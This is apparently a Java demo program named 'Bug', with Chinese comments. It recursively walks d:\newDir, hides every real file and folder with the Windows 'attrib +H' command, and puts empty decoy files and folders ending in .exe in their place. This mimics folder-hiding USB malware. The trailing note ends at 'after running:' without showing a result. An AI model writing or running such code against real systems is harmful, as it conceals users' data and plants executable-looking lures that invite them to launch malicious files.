package com.oracle.exam;
import java.io.File;
import java.io.IOException;
import org.apache.commons.io.FileUtils;
public class Bug
{
private Runtime runtime=Runtime.getRuntime();
public static void main(String[] args) throws IOException
{
File file=new File("d:\\newDir");
new Bug().exe(file);
}
//执行隐藏的命令
public void exec(String path)
{
String command="attrib +H "+path;
try
{
runtime.exec(command);
}
catch (IOException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//将文件的后缀修改为.exe
public String changeSuffix(String filename)
{
int lastIndexOf = filename.lastIndexOf(".");
if(lastIndexOf==-1)
{
//没有后缀
filename+=".exe";
}
else
{
String prefix=filename.substring(0,lastIndexOf);
filename=prefix+".exe";
}
return filename;
}
public void exe(File file) throws IOException
{
File[] listFiles = file.listFiles();
for(int i=0;i<listFiles.length;i++)
{
File ftype=listFiles[i]; //获取所有的文件
File pexepath=ftype.getParentFile(); //获取父文件
if(ftype.isDirectory())
{
String path = ftype.getPath();
String newpath=path+".exe";
pexepath=new File(newpath);
if(!pexepath.exists())
{
pexepath.mkdirs();
}
exec(path);
exe(ftype);
}
else
{
String name = ftype.getName();
String changeSuffix = changeSuffix(name); //将后缀修改为.exe
File newFile=new File(pexepath,changeSuffix); //新的.exe文件
if(!newFile.exists())
{
newFile.createNewFile();
}
String path=ftype.getPath(); //获取真实文件的路径
exec(path); //将真实文件的隐藏
}
}
}
}
在d:\newDir路径下有图片和文件夹里的图片
运行后: